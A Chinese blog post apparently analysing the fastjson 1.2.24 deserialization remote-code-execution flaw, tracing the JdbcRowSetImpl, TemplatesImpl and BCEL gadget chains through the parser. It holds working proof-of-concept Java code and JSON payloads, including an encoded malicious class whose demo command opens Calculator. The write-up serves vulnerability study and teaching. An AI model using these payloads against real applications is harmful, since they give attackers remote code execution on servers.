影响版本
最早在fastjson1.2.24及之前的版本被曝存在远程代码执行漏洞,由于fastjson可以使用 @type
指定反序列化任意类,攻击者可在jdk包中查找能够构造出恶意类的方法,在其反序列化时会调用其getter或setter方法。
具体影响范围:1.2.22 <= fastjson <= 1.2.24
JdbcRowSetImpl利用链
com.sun.rowset.JdbcRowSetImpl
这条利用链是比较简单的,该类提供对数据库连接的操作,由于提供了JNDI的支持且参数可控,导致出现JNDI注入。
import com.alibaba.fastjson.JSON;
public class main {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/lovxJNmO\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}
根据上一篇FastJson反序列化分析中,我们已经知道会自动调用带有 @type
的json字符串中的属性setter方法。我们又知道,在 JdbcRowSetImpl
类中存在一个参数可控的JNDI注入
在该类中搜索一下,在这个地方进行了JNDI查找操作
继续查找 getDataSourceName
方法,返回了 BaseRowSet
类中的 dataSource
属性,由于 JdbcRowSetImpl
继承了 BaseRowSet
类,那么我们看一下是哪个方法对 dataSource
进行了赋值
在 JdbcRowSetImpl
类中,获取了 getDataSourceName
的值,这就是为什么我们在json字符串中先把 dataSourceName
放在前面,因为首先会先调用到 setDataSourceName
方法,如果反过来可能会导致空指针的报错
所以会执行到 super.setDataSourceName
方法,调用了父类的 setDataSourceName
方法
来到了父类的这个方法,其实就是判断是否为空,这就是我们传入的 ldap://127.0.0.1:8085/lovxJNmO
这个字符串,再然后就进行了赋值的操作。
和上面我们说的已经对上了,现在 dataSource
就是我们的恶意ldap服务,现在只需要调用 connect
方法即可执行恶意代码。
经过查找,发现 setAutoCommit
方法调用了 connect
方法,而 getDatabaseMetaData
方法是getter方法且没有参数,这个不适合我们去利用。
这样就查找了恶意的ldap服务执行了恶意代码,走到了JSONException这里是因为没有设置 Feature.SupportNonPublicField
参数,报错但不影响执行。
TemplatesImpl利用链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这条利用链需要启用 Feature.SupportNonPublicField
对非公开字段的反序列化的访问。
在编写恶意类时,该恶意类必须继承 AbstractTranslet
,至于为什么需要继承该类,到后面分析自然就知道了。还需要将恶意类编译生成的.class文件进行Base64编码,因为在利用过程中会对 _bytecodes
进行Base64解码,具体看后面分析。
// ByteCodetoBase64.java
import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Base64;
public class ByteCodetoBase64 {
public static void main(String[] args) {
// 读取字节码文件
File file = new File("/Users/wiley/IdeaProjects/javaResearch/target/classes/FastjsonResearch/EvilCode.class");
byte[] bytecode = readBytecode(file);
// 将字节码文件转换为Base64编码
String base64 = encodeToBase64(bytecode);
System.out.println(base64);
}
private static byte[] readBytecode(File file) {
try {
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = bis.read(buffer)) != -1) {
bos.write(buffer, 0, bytesRead);
}
fis.close();
bis.close();
bos.close();
return bos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private static String encodeToBase64(byte[] bytecode) {
return Base64.getEncoder().encodeToString(bytecode);
}
}
// EvilCode.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilCode extends AbstractTranslet {
public EvilCode() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
// TemplateImplChain.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class TemplateImplChain {
public static void main(String[] args) {
String str = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": " +
"[\"yv66vgAAADQANwoACAAnCgAoACkIACoKACgAKwcALAoABQAnBwAtBwAuAQAGPGluaXQ" +
"+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMRmFzdGpzb25SZXNlYXJjaC9FdmlsQ29kZTsBAApFeGNlcHRpb25zBwAvAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQBABdMRmFzdGpzb25SZXNlYXJjaC9UZXN0OwcAMQEAClNvdXJjZUZpbGUBAA1FdmlsQ29kZS5qYXZhDAAJAAoHADIMADMANAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADUANgEAFUZhc3Rqc29uUmVzZWFyY2gvVGVzdAEAGUZhc3Rqc29uUmVzZWFyY2gvRXZpbENvZGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABwAIAAAAAAAEAAEACQAKAAIACwAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAMAAAADgADAAAADAAEAA0ADQAOAA0AAAAMAAEAAAAOAA4ADwAAABAAAAAEAAEAEQABABIAEwABAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAKgAEAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABYAFwACAAAAAQAYABkAAwABABIAGgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFwANAAAAIAADAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABsAHAACABAAAAAEAAEAHQAJAB4AHwACAAsAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAwAAAAKAAIAAAAaAAgAGwANAAAAFgACAAAACQAgACEAAAAIAAEAIgAjAAEAEAAAAAQAAQAkAAEAJQAAAAIAJg==\"],\"_name\": \"x\",\"_tfactory\": {},\"_outputProperties\": {},}";
JSON.parseObject(str,Feature.SupportNonPublicField);
}
}
这里判断了字符串的第一个字符的token为左大括号,则实例化了一个JSON对象
这里 isObjectKey
为false且设置key变量值为@type,判断了当前JSON解析器解析字符串的字符,到这里其实就是到了上图这个位置了
这里就是对 isObjectKey
值取反判断,执行 lexer.next()
获取下一个词法单元(符号)也就是双引号字符(”),再后面就是调用 lexer.scanSymbol()
方法从解析器中读取字符,直到遇到第二个引号字符(”)为止,这样的话就获取到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个字符串,接着调用 TypeUtils
类的loadClass静态方法加载TemplatesImpl类,TypeUtils类的loadClass静态方法其实主要就是做了判断ParserConfig类中的默认加载器是不是为null,为null的话就使用AppClassLoader加载器进行加载并返回加载后的类
lexer.nextToken(JSONToken.COMMA)
获取下一个标记,下一个标记是JSONToken.COMMA
常量,对应的字符是 ,
逗号,下一个标记确实是 ,
逗号,接着判断下一个词法单元(符号)是不是右大括号,很显然不是,则继续往下看
通过ParserConfig类config对象获取com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
的反序列器并调用反序列化器的序列化方法
进入了反序列化方法后,前面都是一些赋值判断的操作,到了这里其实就是将 sortedFieldDeserializers
字段反序列化器数组进行一个遍历,第一次遍历获取的是 outputProperties
字段
这里就是判断了 outputProperties
字段是什么类型的,再跟下去
跟下去发现下面的所有判断都不符合,直接进入第二次循环,这次是 stylesheetDOM
字段下面的判断也是不符合的,进入第三次循环也是不符合判断要求,这里就不详细看了
再往下就是到了这里,由于上面三次都没有符合判断要求,所以matchField为false,这里开始判断key的值是否一致
上面判断也不符合要求,到了这里,将JSON解析器和``com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类作为
createInstance` 方法的参数创建实例,跟进看一下
这里就是获取了 TemplatesImpl
类的默认构造器,如果这个默认构造器参数数量为0的话,那就通过这个默认构造器进行实例化对象并返回
接着解析器获取了下一个key,后面就是解析我们传入的JSON字符串字段 _bytecodes
、_name
、_tfactory
、_outputProperties
的操作
只有当key为 _outputProperties
时,才能获取到字段反序列化器,前面的操作都是各种判断JSON解析器细节方面的东西,随后调用parseField方法,跟进看一下
parseField方法主要是获取字段反序列化器,由于 _bytecodes
、_name
、_tfactory
这些私有字段在TemplatesImpl类中都没有对应的public修饰符的getter和setter方法,所以没有字段反序列化器,而 _outputProperties
私有字段有对应public修饰符的getter方法,那么它就拥有一个字段反序列化器
这里有一个注意的地方,就是key为 _bytecodes
时和 _outputProperties
的区别
这里对字段值反序列化器进行反序列化获取值,这里要注意的是在前面key为 _bytecodes
时,会调用到 ObjectArrayCodec
类中的 deserialze
方法,该类对JSON字符串数组进行了一个解析,将JSON字符串数组进行了Base64解码,所以在写Payload时需要将 _bytecodes
键的值进行Base64编码
当key为 _outputProperties
时,会调用 MapDeserializer
类的 deserialze
方法,这个key是没有设置值的,所以这里返回null
setValue方法判断了getOutputProperties方法字段访问权限和字段类
这里判断了 getOutputProperties
方法的返回值类型是否是Map类或Map子类,该方法返回值类型是 Properties
,该类型是Map的子类,后面就是使用反射调用TemplatesImpl类的 getOutputProperties
方法
在 getOutputProperties
方法中调用了 newTransformer
方法,跟进看一下
这里调用了 getTransletInstance
方法,再跟进看一下
getTransletInstance
方法中判断了json字符串的 _name
和 _class
是否为空,这样就是为什么在payload中json字符串中必须要设置_name变量的值,不设置值这里就直接返回null了,_class
变量我们没有设置,即调用 defineTransletClasses
方法
这里还需要注意到一点的是 _tfactory
在JSON字符串中必须存在键值对,可以是空值,但不能没有,否则没有办法实例化 TransletClassLoader
加载器
_bytecodes
也不能为null,否则就抛出异常了。接着就是获取TransletClassLoader
,通过 TransletClassLoader.defineClass()
方法将json字符串中的 _bytecodes
变量恶意代码字节码值转换成一个类实例,然后判断了我们恶意代码类的父类全限定类名是否包含 ABSTRACT_TRANSLET
常量值 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,这就是为什么要在恶意类中需要继承 AbstractTranslet
类的原因,如果没有继承,则 _transletIndex
变量为-1,再走到下面 _transletIndex
小于0就会抛出异常了,所以必须要让恶意类继承 AbstractTranslet
类
_class
数组里下标为0的就是通过 TransletClassLoader
加载器加载的恶意类,调用 newInstance
方法即可实例化恶意类对象,即执行恶意类的代码,弹出计算器
BCEL利用链
BCEL链也是一种不出网的利用链,虽然 TemplatesImpl
利用链也是不出网的利用链,但是这个利用链很苛刻,需要开启 Feature.SupportNonPublicField
对非公开字段的支持。BECL利用链需要tomcat的依赖tomcat-dbcp,对于Tomcat8.0之前版本使用 org.apache.tomcat.dbcp.dbcp.BasicDataSource
,Tomcat8.0之后使用 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
// BCELEvilCode.java
package FastjsonResearch;
import java.io.IOException;
public class BCELEvilCode {
public BCELEvilCode() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
// BCELEncode.java
package FastjsonResearch;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class BCELEncode {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
String filePath = "/Users/wiley/IdeaProjects/javaResearch/src/main/java/FastjsonResearch/BCELEvilCode.class";
Path path = Paths.get(filePath);
if (!Files.exists(path)) {
throw new IllegalArgumentException("File does not exist: " + filePath);
}
byte[] bytecodes = Files.readAllBytes(path);
String code = "$$BCEL$$" + Utility.encode(bytecodes,true);
System.out.println(code);
}
}
// BCELChain.java
package FastjsonResearch;
import com.alibaba.fastjson.JSON;
public class BCELChain {
public static void main(String[] args) {
String jsonstr = "{\"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": " +
"{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": " +
"\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$C1$Q$7d$Fd$R$f9F$fc$f6$e0I$f0$40$_$deP$T$r$90$98$a0$Y0z$$$b5$c1$92$a5$bb$d9$ed$S$fcY$5e$d4x$f0$H$f8$a3$8c$b3$i$90$c46$9d$e9$9b7$af3$9d$ef$9f$cf$_$A$a78$c8$o$8db$W$r$943$a8$c4$be$ea$60$d3A$8d$n$7d$a6$8d$b6$X$M$c9z$e3$81$n$d5$f6$9e$UC$b1$a7$8d$ba$8d$a6$p$V$dc$8b$91K$91lg$$$95o$b5gB$H$5b$84$87$5e$UH$d5$d51Y$bejwz$9d$99vcus$of$o$H$H$Z$H$db9$ec$60$97$e1$9c$P_B$ab$a6$fc$d2$f7$5d$z$c5$e2$j$de$W$ae$8c$5ca$bd$a0$v$7c$9f$b7$3dc$95$b1$n$bf$R$b2$3f$5cas$d8$c3$3e$c3aW$84v$Szf$a0B$r$C$f9$ccW$cb2$94$e2$c2$dc$Vf$cc$fb$a3$89$92$96$a1$ba$Ii$8f_$f7$97$fdS$bb$7f$89$83$c8X$3d$8d$ff7Vv$Jj$f5F$ef_N$8b$a6$a3$e6J2$i$d7W$d8$a1$N$b4$Z$b7V$Fw$81$tU$Y$b6p$845$g$7c$bc$Ym$9a$I$SX$t$d4$q$cf$c8$XN$de$c1$3e$90$a8$q$df$90z$7c$5d$e4e$e38$92d$d3H$91$sO$aa$NB$v$e2rt$f2tO$a0$f0$L$e7$dd$60$ef$dc$B$A$A\n\"}";
JSON.parseObject(jsonstr);
}
}
我们先来看下BCEL这条链的触发点在哪里,org.apache.tomcat.dbcp.dbcp2
包下的DriverFactory
类中,createDriver
静态方法使用
BasicDataSource
类型对象的 driverClassLoader
加载器加载了BasicDataSource类型对象的 driverClassName
driverClassLoader
是我们在JSON字符串中写的是com.sun.org.apache.bcel.internal.util.ClassLoader
这个类,那么就会调用ClassLoader该类中的 loadClass
方法,在这个方法中判断了 class_name
是否是 $$BCEL$$
字符开头的,否则就会抛出异常了,接着后面调用了 createClass
方法,这个方法就是将 class_name
中的字节码转换成类
在 createClass
方法中,将 $$BCEL$$
字符删除后进行解码,再对这个解码后的字节码进行解析,所以在JSON字符串中 driverClassName
键的值需要进行编码
后面就是对解析后的类再进行一些处理,再将这个类进行返回
再获取这个类的字节码,加载成一个具体的类
使用自定义加载器 com.sun.org.apache.bcel.internal.util.ClassLoader
加载完成后得到的具体恶意类进行了实例化,这里是真正进行执行恶意代码的地方,我们再看下是这个调用链是什么样的
这里就是一个完整的调用链
getConnection()->createDataSource()->createConnectionFactory()->DriverFactory.createDriver()
我们清楚这条链的触发点后,至于前面的 parse
方法解析JSON字符串,在Fastjson反序列化一开始我们就已经跟着程序调试分析了,就是去根据我们给的JSON字符串去解析成对应的对象,接着调用 toJSON
方法
这里会将传入的类名 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
的序列化器转换成JavaBean序列化器,使用该JavaBean序列化器获取获取所有字段值
这里就是对 BasicDataSource
类型对象的所有getter方法获取属性值,再看下 getPropertyValue
方法做了什么
这里调用了 fieldInfo
的 get
方法
这个get方法使用反射进行了方法的调用
那么这里只需要 getter
的变量值是 connection
,就会调用 getConnection
方法,这样我们这条完整的链就通了
但是我们发现不只是 getConnection
方法调用了 createDataSource
方法, getLogWriter
方法同样也调用了,而在解析对象时,在 FieldSeriailzer
对象数组类型的 sortedGetters
变量中,connection
相对于 logwriter
而言排在最前面,所以最先执行的也是这个方法,这就是为什么网上的文章都在说 getConnection
方法而没有说 getLogWriter
方法的原因
最后依次往下执行,成功执行了恶意代码
Author: wileysec
Permalink: https://wileysec.github.io/11c62fd672b4.html
Comments